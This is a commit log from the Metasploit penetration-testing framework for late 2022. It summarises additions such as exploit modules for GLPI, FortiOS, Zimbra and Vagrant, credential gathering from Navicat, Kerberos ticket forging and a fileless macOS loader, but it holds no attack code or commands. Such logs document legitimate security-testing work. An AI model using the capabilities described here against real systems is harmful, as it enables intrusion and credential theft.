adfoster-r7 9e7c887347 Land #17187, update aerohive_netconfig_lfi_log_poison_rce to support 10.0r8 2022-10-27 15:53:03 +01:00
adfoster-r7 f1657bde73 Land #17167, Weekly dependency updates 20221020 2022-10-27 14:46:58 +01:00
cgranleese-r7 2bd90079a2 Adds support to specify a shared directory to iterate through and highlighting keywords 2022-10-27 12:49:02 +01:00
ErikWynter 0e72307d36 aerohive_version_fix 2022-10-27 13:33:18 +03:00
Metasploit fa28131de7 automatic module_metadata_base.json update 2022-10-26 16:42:09 -05:00
Jack Heysel 9c5d82e00f Land #17147, add Vargrant Breakout module
This PR adds a module that exploits a default
Vagrant shared folder to append a Ruby payload
to the Vagrant project Vagrantfile config file.
2022-10-26 17:11:03 -04:00
Metasploit bb2b2ffbfb automatic module_metadata_base.json update 2022-10-26 16:00:48 -05:00
Spencer McIntyre eee8f49695 Land #17176, Python Meterpreter AES Constants 2022-10-26 16:29:28 -04:00
llamasoft 13baaad30e Update cached payload sizes 2022-10-26 14:38:06 -04:00
Metasploit 7005b28859 automatic module_metadata_base.json update 2022-10-26 13:09:52 -05:00
Spencer McIntyre 154edfc6f8 Land #16979, Add in support for LDAP type decoding
Add in support for GUIDs, Certificate Handling, and SIDs to ldap_query Module
2022-10-26 13:49:58 -04:00
Grant Willcox 5ce4542748 Fix up spacing issues 2022-10-26 12:06:54 -05:00
Spencer McIntyre 6eb788c379 Land #17024, Add Meterpreter reg command docs
Add Meterpreter reg command documentation
2022-10-26 08:42:21 -04:00
Spencer McIntyre a6e775ae3c Add a missing dash for consistency 2022-10-26 08:42:09 -04:00
cgranleese-r7 6e46c63047 Land #17185, Add additional usage tips 2022-10-26 12:56:11 +01:00
adfoster-r7 4b1b26bbb6 Add additional usage tips 2022-10-26 11:56:02 +01:00
adfoster-r7 e2d052322d Support upload and download command for powershell sessions 2022-10-26 11:48:31 +01:00
bcoles 01fa2e1041 Add Vagrant Synced Folder Vagrantfile Breakout module 2022-10-26 17:33:44 +11:00
Metasploit 8e9061c86d automatic module_metadata_base.json update 2022-10-25 15:42:50 -05:00
adfoster-r7 cbd1a42804 Add Meterpreter reg command documentation 2022-10-25 19:45:01 +01:00
space-r7 35e4d829d8 Land #17164, add THEME_DIR option to wp_crop_rce 2022-10-25 12:23:50 -05:00
space-r7 7c64b0ba93 add option in documentation and add notes 2022-10-25 12:22:00 -05:00
Ron Bowes 4624031aec Remove errant puts 2022-10-25 10:21:47 -07:00
Grant Willcox 5e6577d264 Fix up spacing issues 2022-10-25 12:09:04 -05:00
Ron Bowes 4979c0b74f Add a check to the cve-2022-30333 module for Zimbra that aborts before generating artifacts if the server cannot be reached 2022-10-25 10:05:16 -07:00
Ron Bowes ab2042f34e Add patch notes to the Slapper module documentation 2022-10-25 10:04:52 -07:00
Ron Bowes 3ac3fa6c32 Move the Zimbra Slapper doc to the right folder (Windows -> Linux) 2022-10-25 09:51:27 -07:00
h00die-gr3y 3d8e18c1cb updated module with code suggestions space-r7 2022-10-25 16:38:15 +00:00
Grant Willcox 51829c5ce9 Add in inital copy of ms_dtyp.rb library and use the definitions there to replace our custom unpack solutions with proper BinData approaches. Also rename some variables to use more appropriate names 2022-10-25 11:29:22 -05:00
r3nt0n 982cfb97c2 Refactor: check for THEME_DIR as ternary
Suggested by @space-r7
2022-10-25 17:38:30 +02:00
Grant Willcox 8bc2e647eb More updates 2022-10-25 10:14:41 -05:00
Grant Willcox 87aa5d5266 Handle attributes with whitespace better. Also handle isSingleValue correctly now for the certificate values we have at the moment 2022-10-25 10:12:37 -05:00
Grant Willcox 42463ac3b6 Rework logic so we can now only query once to retrieve the info on the attributes we are examining, instead of once per entry returned 2022-10-25 10:12:37 -05:00
Grant Willcox 78f5ae47d4 Fix up some improper practices and convert entry_list to a hash 2022-10-25 10:12:36 -05:00
Grant Willcox a698145334 Add in better coding practices for certain elements n RuboCop the file 2022-10-25 10:12:36 -05:00
Grant Willcox 6682eff259 Add in the data type checker feature for checking the data type of attributes retrieved 2022-10-25 10:12:36 -05:00
Grant Willcox 9bef925e57 Add support for decoding password ages to time strings, Windows timestamps to time strings, and system flags to strings 2022-10-25 10:12:35 -05:00
Grant Willcox 20c07eafe7 Add support for SID decoding 2022-10-25 10:12:35 -05:00
Grant Willcox 93e53e0429 Add in support for GUIDs and certificate handling 2022-10-25 10:12:34 -05:00
h00die-gr3y 3e78229fc0 updated module and documentation 2022-10-25 13:33:52 +00:00
h00die 78a4c80e33 review comment 2022-10-24 17:16:08 -04:00
Metasploit e949c68f9c automatic module_metadata_base.json update 2022-10-24 14:41:43 -05:00
bwatters 9902e9a1e4 Land #17110, check files exist before doing other things
Merge branch 'land-17110' into upstream-master
2022-10-24 14:20:16 -05:00
Jack Heysel d6f27a8a71 Used vuln to remove test webshell in check method 2022-10-24 14:17:21 -04:00
Metasploit 97f7243a36 automatic module_metadata_base.json update 2022-10-24 11:49:00 -05:00
Jack Heysel 3bf4bd7d7d Land #17162, add RCE module for CVE-2022-35914
This PR adds an RCE module for the php code injection
present in GLPI versions 10.0.2 and below
2022-10-24 12:18:34 -04:00
jheysel-r7 3bbd05a11a Update modules/exploits/linux/http/glpi_htmlawed_php_injection.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-24 11:48:33 -04:00
Spencer McIntyre 7aa62bfecd Land #17071, Add in new LDAP queries
Add in new LDAP queries to help with various attack paths
2022-10-24 09:18:41 -04:00
Spencer McIntyre 4bc98c6cc5 Fix a YAML syntax issue 2022-10-24 09:18:10 -04:00
llamasoft d61656c591 Use generator instead of list 2022-10-22 17:08:32 -04:00
llamasoft 42b7c7f69a Use range instead of xrange 2022-10-22 17:07:50 -04:00
bwatters 51264862f2 Land #17172, Msf::Post::File.append_file: Append not overwrite on *nix shell sessions
Merge branch 'land-17172' into upstream-master
2022-10-21 16:54:59 -05:00
Grant Willcox 01e4701bef Reorder queries alphabetically and fix up errors identified during review 2022-10-21 11:18:23 -05:00
Christophe De La Fuente f1639797b9 Rubocop updates 2022-10-21 17:17:06 +02:00
Christophe De La Fuente 52904b8cb6 Add support to Kerberos
- Add kerberos authenticator to `scanner/smb/smb_login` and the
  corresponding login scanner library
- Add new options: `UseCachedCredentials` and `StoreCredentialCache`
- Add `use_cached_credentials` attribute to
  Kerberos::ServiceAuthenticator::Base. This enables/disables the use of
  cached Kerberos credentials from the database.
- Add `store_credential_cache` attribute to
  Kerberos::ServiceAuthenticator::Base. This enables/disables storing
  Kerberos TGS MIT Credential Cache to the database.
2022-10-21 16:16:10 +02:00
h00die-gr3y c1aed2d274 Fixed typos documentation 2022-10-21 13:20:37 +00:00
h00die-gr3y 1c393dc596 init commit module and documentation 2022-10-21 12:50:46 +00:00
bcoles cd656ecdbb Msf::Post::File.append_file: Append not overwrite on *nix shell sessions 2022-10-21 23:28:14 +11:00
llamasoft 9ddc05a464 Consolidate encrypt/decrypt functions
The only differences between the encrypt and decrypt functions are which
lookup tables they use and which order the bytes are sampled from rows.
Consolidating the functions like this also results in a consistent
10-15% performance improvement over the previous implementation.
2022-10-20 20:54:10 -04:00
llamasoft d3a72cac84 Generate AES constants at runtime
Unfortunately, the constants have to be calculated using utility functions
because Python 3 changes how list comprehensions work during class creation.
However, the current implementation is Python 2/3 compatible.
2022-10-20 20:54:02 -04:00
Jeffrey Martin cca49257c5 extend config due to warning
```
SECURITY WARNING: Your secret is not long enough. It must be at least
        32 bytes long and securely random. To generate such a key for use
        you can run the following command:
```
2022-10-20 14:39:05 -05:00
space-r7 a9c3c61aa3 Land #17050, make osx payload fileless 2022-10-20 14:13:32 -05:00
Spencer McIntyre 7d6c0a8eba Land #17165, Update commiters keys doc
Update commiters keys doc with updated info
2022-10-20 15:11:43 -04:00
Metasploit 6eb639ea7b Weekly dependency updates for Gemfile.lock 2022-10-20 13:48:09 -05:00
space-r7 5910afadd9 add new binary 2022-10-20 13:47:54 -05:00
Metasploit 9f6134813e Bump version of framework to 6.2.24 2022-10-20 12:14:26 -05:00
Grant Willcox e9851f3381 Remove Brendan as Metasploit manager and replace with Spencer. 2022-10-20 11:00:17 -05:00
Grant Willcox 36a915fe5c Update contributors with new contributors, remove old contributors, and update contact info 2022-10-20 10:55:58 -05:00
Metasploit fab762abbc automatic module_metadata_base.json update 2022-10-20 10:01:43 -05:00
r3nt0n 08721ccf73 Adding THEME_DIR option to wp_crop_rce exploit 2022-10-20 16:37:21 +02:00
Christophe De La Fuente 43f7d7b73e Land #17098, Hikvision camera unauthenticated information disclosure 2022-10-20 16:20:12 +02:00
Metasploit 8f5fd09492 automatic module_metadata_base.json update 2022-10-20 08:32:36 -05:00
Christophe De La Fuente 4cfbae63ac Land #17114, Add exploit for CVE-2022-41352 (zimbra cpio) 2022-10-20 15:10:42 +02:00
Christophe De La Fuente c89569d88c Fix the doc to make msftidy_docs.rb happy 2022-10-20 14:33:40 +02:00
adfoster-r7 ee800db2fa Land #17161, Bump actions/checkout to version 3.x 2022-10-20 11:02:35 +01:00
adfoster-r7 1a00bb5f43 Land #17089, Bump actions/github-script to v6 2022-10-20 10:51:55 +01:00
llamasoft 6c95a5543c Remove unused function 2022-10-19 22:22:31 -04:00
Jack Heysel 11936affd1 Rubocop 2022-10-19 22:07:50 -04:00
Jack Heysel b60b440697 Check method improvement 2022-10-19 22:03:43 -04:00
bwatters 73c879a854 Add docs 2022-10-19 17:59:54 -05:00
bwatters 6039e54b75 For real, this time 2022-10-19 17:23:16 -05:00
bwatters 78e8de826b Sure; I can spell 2022-10-19 17:22:29 -05:00
bwatters 238aa9058f Fix Cmdstager flavor, complete info hash 2022-10-19 17:18:20 -05:00
bwatters 56b8bf6302 Working draft for CVE-2022-35914 2022-10-19 14:33:33 -05:00
Grant Willcox 3f6649982b Update additional .github files to use actions/checkout@v3 2022-10-19 12:59:32 -05:00
Ron Bowes d8a5629cf4 Add Zimbra-installation notes 2022-10-19 10:05:20 -07:00
Ron Bowes 56d6f7747b Remove some old code and update documentation with version info 2022-10-19 10:02:29 -07:00
Grant Willcox 2d2ab6b739 Bump actions/checkout to version 3.x to use NodeJS 16.x instead of deprecated NodeJS 12 2022-10-19 11:36:36 -05:00
Grant Willcox a4acd8a680 Land #17154, improve qualys import times 2022-10-19 10:44:22 -05:00
Metasploit 13cfdd0e44 automatic module_metadata_base.json update 2022-10-19 04:20:04 -05:00
Christophe De La Fuente 15d81ca04c Land #17135, Add namespace to identify.rb 2022-10-19 10:48:25 +02:00
Christophe De La Fuente c43272985e Land #17141, Zimbra Postfix priv esc 2022-10-19 10:33:37 +02:00
Metasploit a37d12f33b automatic module_metadata_base.json update 2022-10-18 18:32:15 -05:00
bwatters f901dba4f4 Land #17143, Added module for CVE-2022-40684
(FortiOS, FortiProxy, and FortiSwitchManager Authentication Bypass)

Merge branch 'land-17143' into upstream-master
2022-10-18 18:08:52 -05:00
Jeffrey Martin 016a1c9da9 one more safer access 2022-10-18 15:02:58 -05:00
Jeffrey Martin 7b9ed4a1da corrections to reference IDs 2022-10-18 14:57:44 -05:00
Ron Bowes 9a35a5c8dd Post patch info 2022-10-18 10:12:54 -07:00
Ron Bowes 6bdf0da994 Add a sanity check before generating the payload - prevents a confusing error if the server is down 2022-10-18 10:09:51 -07:00
Ron Bowes 61abcc008f Merge pull request #1 from cdelafuente-r7/zimbra_postfix_doc_fix
Zimbra Postfix LPE doc fix
2022-10-18 09:27:44 -07:00
Grant Willcox 781ee000d9 Land #17157, Check global LHOST before generating it from RHOSTS 2022-10-18 10:49:06 -05:00
Christophe De La Fuente fa67b6973d Documentation fix to follow the template 2022-10-18 16:09:57 +02:00
Matthew Dunn c0403af25e Address two more imports, use described_class per review 2022-10-18 08:47:24 -04:00
Heyder Andrade 1804e5ab60 Update modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-18 00:51:28 +02:00
Ron Bowes dea3f72f6b Resolve feedback - get rid of unnecessary directory, add CVE number, let the user choose the path 2022-10-17 15:00:56 -07:00
Matthew Dunn aab064779c Check the global LHOST before picking it from RHOST 2022-10-17 17:59:58 -04:00
Matthew Dunn 1e50ba3415 Move to Hashes module, address requested changes
Fix rubocop

Move identify to hashes module up one layer, use full reference to identify_hash instead of full include

Fix SMTP require

Remove hashes require statement

Remove hashes require statement

Remove hashes require statement

Remove hashes require statement

Address remaining requested changes, reference constants directly

Add all the missing direct references

Co-Authored-By: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-17 17:28:31 -04:00
Matthew Dunn 8b5223f53b Modularize Identify, Update referenced use cases
Modularize Identity.rb

Include new module style Identify

Update juniper.rb

Fix inadvertent change

Add new module to identify spec

Put the require back

Put back require line for juniper
2022-10-17 17:28:30 -04:00
Heyder Andrade 26ed9bb053 Update documentation/modules/exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684.md
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-17 22:49:57 +02:00
Heyder Andrade 67bd118dd5 Update modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-17 22:49:48 +02:00
Heyder Andrade 7cdf8e181f Update modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-17 22:49:34 +02:00
Jeffrey Martin 82bd12566f remove constant not used 2022-10-17 15:19:35 -05:00
Jeffrey Martin 2022b507a6 Qualys parser now uses 'Nokogiri::XML'/xpath 2022-10-17 15:03:54 -05:00
h00die 05b80631f3 update remote mouse version checks 2022-10-17 15:30:17 -04:00
h00die 08deb21ae3 update remote mouse version checks 2022-10-17 15:29:10 -04:00
Jeffrey Martin 8cc21f9b01 improve qualys import times
When importing data from recent Qualys reports many `RESULT` tags contain
extra long lines and significant content that result in extremely long processing
times when parsed by REXML. By removing all `RESULT` tags not currently processed
during import the time to process data can be significantly improved.
2022-10-17 13:14:55 -05:00
Grant Willcox d3486013f8 Land #17140, Update outdated Alpine docker image to 3.12 to 3.15 and bump Ruby version to 3.0.4 2022-10-17 11:44:57 -05:00
H00die.Gr3y 4615e2f9fb Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-17 19:54:26 +04:00
H00die.Gr3y bc6d63e6e8 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-17 19:54:18 +04:00
Heyder Andrade b3a0d70688 Added prefer admin
- One can now say whether the auto-detect user method should prefer to return the admin or other random one.
2022-10-17 15:16:16 +02:00
Heyder Andrade 5d99428c1d Changed SSH key algorithm and fix bug on cleanup
- Prefer to use EC over RSA, only because it is smaller
- When there was no previous ssh key for such user the cleanup method was trying to overwrite the one on the index 0
2022-10-17 14:40:51 +02:00
Heyder Andrade 71a1c60d49 Sticking to the striced needed
The port in the Forwarded HTTP header can be random.
2022-10-17 13:01:13 +02:00
Ashley Donaldson 16a547d9ed Moved all PKINIT structures into the one file 2022-10-17 18:34:30 +11:00
Ashley Donaldson 09e740d48d Changes from code review 2022-10-17 17:19:50 +11:00
Heyder Andrade aece783cee Added reference to user auto-detect method 2022-10-17 01:11:27 +02:00
Heyder Andrade 422675a0c0 Fixed code-style offenses 2022-10-17 01:08:57 +02:00
Heyder Andrade 6140f0bc4d Added method to auto-detect target user 2022-10-17 00:44:46 +02:00
Heyder Andrade 9241c515d7 Try to cleanup only if there was ssh connection 2022-10-16 18:50:39 +02:00
Heyder Andrade 6cfb277c90 Added cleanup method 2022-10-16 15:09:45 +02:00
Heyder Andrade 0b09e564f1 Improved documentation 2022-10-16 14:25:54 +02:00
Heyder Andrade 835b44ca7a Added documentation 2022-10-16 13:42:21 +02:00
Heyder Andrade 45149c144c Code cleanup and ssh key password
- cleaned up some unecessary code
- add option to the user set an encrypted custom ssh key
2022-10-16 13:32:25 +02:00
Matthew Dunn 4cda8a9d23 Add hashes and better error handling to wmiexec 2022-10-15 16:42:30 -04:00
Heyder Andrade 95b1bffdea Do not overwrite the first two keys 2022-10-15 19:04:53 +02:00
h00die-gr3y ab6ede8ded version based on cdelafuente-r7 comments 2022-10-15 10:45:40 +00:00
Heyder Andrade 47f6971651 It is working but need some improvements 2022-10-15 04:10:12 +02:00
Ron Bowes a2a2dcbf6f Check in zimbra_postfix_priv_esc.rb 2022-10-14 13:21:41 -07:00
Heyder Andrade 31404116a5 Rename module 2022-10-14 22:19:43 +02:00
Patryk Krawaczyński ed5efdf041 Alpine 3.12 - Support ended 5 months and 2 weeks ago (01 May 2022)
Update to 3.15 - Support ends in 1 year (01 Nov 2023).
2022-10-14 21:07:57 +02:00
Heyder Andrade f643bba09a Added module for CVE-2022-40684 2022-10-14 18:36:18 +02:00
H00die.Gr3y 2e9a235ece Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-14 18:47:40 +04:00
H00die.Gr3y 32acf526b0 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-14 18:14:33 +04:00
H00die.Gr3y ade8b87e26 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-14 18:12:12 +04:00
cn-kali-team e227f1c464 update 2022-10-14 19:57:17 +08:00
三米前有蕉皮 414819f0d1 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-14 09:45:37 +08:00
Metasploit 49f3e0d6ec automatic module_metadata_base.json update 2022-10-13 20:02:13 -05:00
adfoster-r7 6a682f4fe6 Land #16982, Update Dell iDRAC login scanner to work with v8 and v9 2022-10-14 01:40:35 +01:00
Metasploit 8e08189921 Bump version of framework to 6.2.23 2022-10-13 12:15:51 -05:00
cn-kali-team f553e6e0f7 update 2022-10-12 21:55:05 +08:00
cn-kali-team d77a965345 update 2022-10-12 21:54:23 +08:00
三米前有蕉皮 bff7d4c320 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 13:53:26 +08:00
三米前有蕉皮 20015d7351 Update documentation/modules/post/windows/gather/credentials/navicat.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 13:52:12 +08:00
三米前有蕉皮 13e92407c1 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-12 13:51:45 +08:00
三米前有蕉皮 1c788b797c Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 13:51:05 +08:00
三米前有蕉皮 2c2d82dd42 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 11:30:05 +08:00
三米前有蕉皮 7caf2eb9dc Update documentation/modules/post/windows/gather/credentials/navicat.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 11:29:25 +08:00
三米前有蕉皮 70400960f4 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-12 11:28:36 +08:00
三米前有蕉皮 dc5b2ae4a6 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-12 10:41:01 +08:00
三米前有蕉皮 0c9e874a65 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 10:31:16 +08:00
h00die-gr3y ae0f94beb7 Addressed all commit suggestions 2022-10-09 15:49:58 +00:00
H00die.Gr3y 462b80cf6f Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:59:59 +04:00
H00die.Gr3y 2b4785915d Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:59:40 +04:00
H00die.Gr3y 7bae00975a Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:59:23 +04:00
H00die.Gr3y c280e2d57b Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:59:08 +04:00
H00die.Gr3y c1dd09771f Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:58:36 +04:00
H00die.Gr3y afb87ee87d Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:58:28 +04:00
H00die.Gr3y b37c26da87 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:58:15 +04:00
H00die.Gr3y b11dbc90a9 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:58:04 +04:00
H00die.Gr3y cbab556e7d Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:54 +04:00
H00die.Gr3y 784393e41e Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:45 +04:00
H00die.Gr3y 11f5cff45d Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:30 +04:00
H00die.Gr3y 316c3f5302 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:17 +04:00
H00die.Gr3y a14ded588b Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:04 +04:00
h00die 4950124ea0 use more Post::File functions 2022-10-08 09:50:25 -04:00
h00die a3eee73efb review comments 2022-10-08 09:16:57 -04:00
Grant Willcox abd8ad1d7d Restore ADCS certificate template gathering option and add in some new fields that should prove to be useful 2022-10-07 12:47:19 -05:00
Grant Willcox 33dc2f1109 Add in DNS zone enumeration option 2022-10-07 12:47:12 -05:00
Grant Willcox bbf8017570 Add in references for the various queries 2022-10-07 12:47:10 -05:00
Grant Willcox e7fbda96e3 Add in new LDAP queries to help with various attack paths 2022-10-07 12:47:10 -05:00
Ashley Donaldson c7bab60a3e Fix to support DNS entries in certificate files 2022-10-07 15:17:07 +11:00
Ashley Donaldson aa98c9d004 Removed vestigial test 2022-10-07 14:29:20 +11:00
Ashley Donaldson 80bb1867bc Added documentation for the module 2022-10-07 14:24:37 +11:00
Ashley Donaldson db12c7e0f0 Added tests for parsing new Kerberos structures 2022-10-07 14:04:24 +11:00
usiegl00 bceaf5cd70 Back from the dyld: clean up mmap.
The mmap permissions prior to mprotect during the region mapping should
be write only. I also added a few more comments detailing the usage of
structs in dyld4.
2022-10-07 09:57:53 +09:00
Ashley Donaldson 793a05f9f3 Added comments for new functions 2022-10-07 11:55:47 +11:00
Ashley Donaldson b5a076a1f1 Neaten parameter and error handling 2022-10-07 11:24:39 +11:00
Ashley Donaldson 063a768959 Store ccache 2022-10-07 09:56:11 +11:00
Ron Bowes 48dd4693df Add docs for CVE-2022-41352 (zimbra cpio), and fix some text 2022-10-06 10:46:48 -07:00
Ron Bowes 08c29f7f28 Add exploit for CVE-2022-41352 (zimbra cpio) 2022-10-06 10:23:53 -07:00
Ashley Donaldson 58c30f10aa Send and Receive PKINIT responses 2022-10-07 01:04:10 +11:00
h00die 525d2ff4ea check files exist before suid checking them 2022-10-05 19:59:20 -04:00
h00die 6db9ee743e check files exist before suid checking them 2022-10-05 19:43:07 -04:00
adfoster-r7 e2ce631709 Land #17019, Update CCache Reuse for TGTs (and Golden Tickets) 2022-10-05 11:40:25 +01:00
Gábor Lipták 548c3408a8 Bump actions/github-script to v6
Signed-off-by: Gábor Lipták <gliptak@gmail.com>
2022-10-04 19:47:20 -04:00
cn-kali-team 819dcd7889 update 2022-10-04 17:57:28 +08:00
Spencer McIntyre 5d88a28fa4 Update YARD docs for TGT reuse 2022-10-03 09:04:30 -04:00
krastanoel 95503be49a Update documentation 2022-10-03 19:57:25 +07:00
krastanoel bd15798be7 support windows platform 2022-10-03 19:57:09 +07:00
h00die-gr3y 08640f0d65 Updated documentation 2022-10-02 20:20:20 +00:00
h00die-gr3y 7ae0f552f3 init commit module and documentation 2022-10-02 19:47:47 +00:00
cn-kali-team 3fa2268aa1 fix username 2022-10-03 00:07:30 +08:00
cn-kali-team 2f3378fc4a Gather_Navicat 2022-10-02 23:48:09 +08:00
krastanoel aa0dc86bd8 get csrf from the html body instead 2022-10-01 19:59:23 +07:00
krastanoel e3fc3544cd still could not yet support windows 2022-10-01 17:44:44 +07:00
krastanoel 02b5f8678c add repository error class 2022-10-01 17:43:42 +07:00
krastanoel e9d8068078 update and tidy the lib comments 2022-10-01 16:22:21 +07:00
krastanoel 15c956c2d6 Update module
- add command stagers logic
- set default uripath
2022-10-01 16:19:43 +07:00
krastanoel 046bb356fb adjust uripath 2022-10-01 15:17:28 +07:00
h00die 781ce211fe remove un-needed spec tests 2022-09-30 16:55:49 -04:00
h00die b62dd604b1 fix passwords on command prompt 2022-09-30 16:34:05 -04:00
krastanoel 2331f21f9e Update module
- adjust create, migrate and delete repository with the common lib
2022-10-01 01:16:18 +07:00
krastanoel cc2db82886 add repository create and migrate helpers 2022-10-01 01:13:28 +07:00
krastanoel 29944a0a1b add repository create and migrate url 2022-10-01 01:12:54 +07:00
krastanoel c5d3867980 add migration error class 2022-10-01 01:11:58 +07:00
krastanoel 88e4261a88 Add common lib for Gitea repository 2022-10-01 01:10:55 +07:00
Spencer McIntyre 421121736d Load and use cached TGTs 2022-09-30 13:23:52 -04:00
Spencer McIntyre a619303f2c Save tickets in a compatible way for retrieval 2022-09-30 13:23:52 -04:00
Spencer McIntyre acbe644588 Document some of the parameter types 2022-09-30 13:23:52 -04:00
Spencer McIntyre 82912aad38 Support delegation from stored TGTs 2022-09-30 13:23:52 -04:00
Spencer McIntyre 081d66330b Add a constructor method for Krb5Ccache 2022-09-30 13:23:52 -04:00
Spencer McIntyre 89c3792886 Allow authenticating with stored TGTs 2022-09-30 13:23:52 -04:00
Spencer McIntyre 6bd9de43d6 Add the #request_service_ticket method 2022-09-30 13:23:52 -04:00
krastanoel 953221d518 Handle datastore username empty string 2022-09-30 22:23:40 +07:00
krastanoel 381bdbae7f Update module
- adjust check method using common lib
- handle autocheck false
2022-09-30 22:14:45 +07:00
krastanoel cbff63958c Move version check and login to common library 2022-09-30 22:09:01 +07:00
krastanoel 36f3a7ce11 update options description 2022-09-30 16:57:59 +07:00
krastanoel 7e46ba4575 use fail with instead checkcode 2022-09-30 16:50:34 +07:00
krastanoel e1284ea17d handle get_csrf check caller separately 2022-09-30 16:45:49 +07:00
usiegl00 8aa01bfbcd Back from the dyld: fix addr_main assignment.
When using the legacy technique, addr_main was being redifined. This
caused the access to addr_main outside the if statement to segfault.
2022-09-30 06:46:45 +09:00
Spencer McIntyre c89d0a7b02 Land #17079, Merge latest master
Merge latest master into Kerberos feature branch
2022-09-29 13:10:06 -04:00
adfoster-r7 5d345e6689 Merge branch 'upstream-master' into feature-kerberos-authentication 2022-09-29 16:42:58 +01:00
usiegl00 ce75cb2afc Back from the dyld: clean up source code.
This fixes a floating `\t` in a struct definition. This also adds more
clarity to a set of dprintf statements regarding the region. This fixes
the indentation for a comment as well.
2022-09-29 07:58:23 +09:00
usiegl00 64231dad67 Back from the dyld: vm_allocate to fix corruption.
This fixes the corruption incidentally resolved by assigning to an
unused variable by properly allocating memory for structs before
assigning to them. This will resolve the segfault on return issue, as
the saved return address is no longer clobbered.
2022-09-28 20:58:48 +09:00
adfoster-r7 6cd2c6a82d Land #17025, Allow user_id to be configurable in ticket forging 2022-09-27 13:53:36 +01:00
h00die 11a21737bc move print statement 2022-09-23 17:57:40 -04:00
cgranleese-r7 50685161ef Allow user_id to be configurable in ticket forging 2022-09-22 14:18:17 +01:00
usiegl00 2833f504d4 Back from the dyld: a fileless loader. (Again.)
By replicating the functionality of APIs::dlopen_from, we can bypass the
temporary file created when calling NSCreateObjectFileImageFromMemory on
macOS 12 and above. Constructing a custom JustInTimeLoader and running
through all the dyld calls required to fix it up manually results in
fileless MachO execution.
2022-09-22 17:50:04 +09:00
h00die 0bcdc3fadb idrac login updates 2022-09-20 16:20:24 -04:00
h00die 84f0f518a8 more vcenter post module cleanup 2022-09-18 21:39:36 -04:00
